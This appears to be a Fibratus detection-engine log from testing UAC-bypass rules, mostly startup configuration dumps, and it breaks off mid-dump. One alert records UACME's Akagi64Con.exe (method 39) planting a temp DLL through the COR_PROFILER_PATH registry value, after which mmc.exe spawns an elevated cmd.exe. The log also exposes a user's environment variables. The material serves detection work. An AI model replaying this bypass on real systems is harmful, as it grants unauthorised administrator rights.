level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-11-26T15:15:50+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateFile, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T15:15:50+01:00 level=info msg=bootstrapping with pid 18588. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T15:15:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false port=>25 content-type=>text/html to=>[] use-template=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-thread=>true enable-fileio=>true enable-threadpool=>false flush-interval=>1s stack-enrichment=>true enable-audit-api=>true buffer-size=>512 enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-mem=>false enable-registry=>true min-buffers=>16 enable-net=>true enable-dns=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info formatter=>text max-size=>100 max-age=>0 log-stdout=>true] + output ......................... [ amqp=>[ delivery-mode=>transient exchange=>fibratus vhost=>/ exchange-type=>topic enabled=>false url=>amqp://localhost:5672 passive=>false timeout=>5s tls-insecure-skip-verify=>false durable=>false routing-key=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false enable-gzip=>false timeout=>5s serializer=>json endpoints=>[] tls-insecure-skip-verify=>false method=>POST] elasticsearch=>[ bulk-workers=>1 healthcheck=>true healthcheck-interval=>10s gzip-compression=>false timeout=>5s flush-period=>1s enabled=>false index-name=>fibratus trace-log=>false template-name=>fibratus sniff=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200]]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-allocs=>false skip-files=>false enabled=>false fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T15:15:50+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:15:53+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:17:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T15:17:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:17:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:17:36+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T15:17:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:17:36+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-26T15:17:36+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T15:17:36+01:00 level=info msg=bootstrapping with pid 9384. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T15:17:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true port=>25 enabled=>false to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-handle=>false enable-dns=>false enable-threadpool=>false enable-mem=>false enable-net=>true min-buffers=>16 enable-fileio=>true buffer-size=>512 enable-registry=>true max-buffers=>36 flush-interval=>1s enable-image=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 max-backups=>15 formatter=>text max-age=>0 log-stdout=>true] + output ......................... [ amqp=>[ enabled=>false durable=>false url=>amqp://localhost:5672 passive=>false delivery-mode=>transient exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus vhost=>/ exchange=>fibratus] http=>[ enabled=>false serializer=>json endpoints=>[] timeout=>5s method=>POST enable-gzip=>false tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ sniff=>false enabled=>false timeout=>5s gzip-compression=>false flush-period=>1s healthcheck=>true trace-log=>false healthcheck-timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] index-name=>fibratus template-name=>fibratus healthcheck-interval=>10s]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false excluded-procs=>[] enabled=>false skip-allocs=>false skip-registry=>false fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-26T15:17:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:17:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:17:44+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 2458867 + Pid: 4996 + Tid: 8808 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-26 15:17:42.5496047 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffa28075acd4f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 4996 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2459318 + Pid: 6260 + Tid: 20100 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-26 15:17:43.5548834 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 421a33000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc48c9adf5080, name➜ cmd.exe, pid➜ 10060, ppid➜ 6260, real_ppid➜ 6260, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-26 15:17:43.5548363 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528 + + Pid: 6260 + Ppid: 4996 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T15:17:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T15:17:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:17:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:18:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T15:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-26T15:18:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:18:33+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T15:18:33+01:00 level=info msg=bootstrapping with pid 15452. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T15:18:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html use-template=>true to=>[] enabled=>false port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-mem=>false enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-handle=>false enable-audit-api=>true enable-net=>true enable-dns=>false flush-interval=>1s enable-threadpool=>false max-buffers=>36 buffer-size=>512 enable-thread=>true enable-fileio=>true enable-image=>true stack-enrichment=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-size=>100 level=>info max-backups=>15 formatter=>text] + output ......................... [ elasticsearch=>[ enabled=>false sniff=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck=>true trace-log=>false healthcheck-timeout=>5s template-name=>fibratus gzip-compression=>false timeout=>5s bulk-workers=>1 flush-period=>1s] http=>[ tls-insecure-skip-verify=>false serializer=>json method=>POST enable-gzip=>false endpoints=>[] enabled=>false timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false delivery-mode=>transient passive=>false exchange-type=>topic exchange=>fibratus tls-insecure-skip-verify=>false timeout=>5s vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672 durable=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-files=>false excluded-procs=>[] scan-timeout=>10s fastscan=>true excluded-files=>[] enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T15:18:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:18:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:19:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T15:19:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:19:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:19:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T15:19:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:19:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-26T15:19:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:19:12+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T15:19:12+01:00 level=info msg=bootstrapping with pid 18116. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T15:19:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ port=>25 content-type=>text/html enabled=>false use-template=>true to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true buffer-size=>512 min-buffers=>16 enable-mem=>false enable-thread=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-vamap=>true stack-enrichment=>true enable-image=>true max-buffers=>36 enable-handle=>false flush-interval=>1s enable-dns=>false enable-fileio=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 formatter=>text max-age=>0 max-size=>100] + output ......................... [ 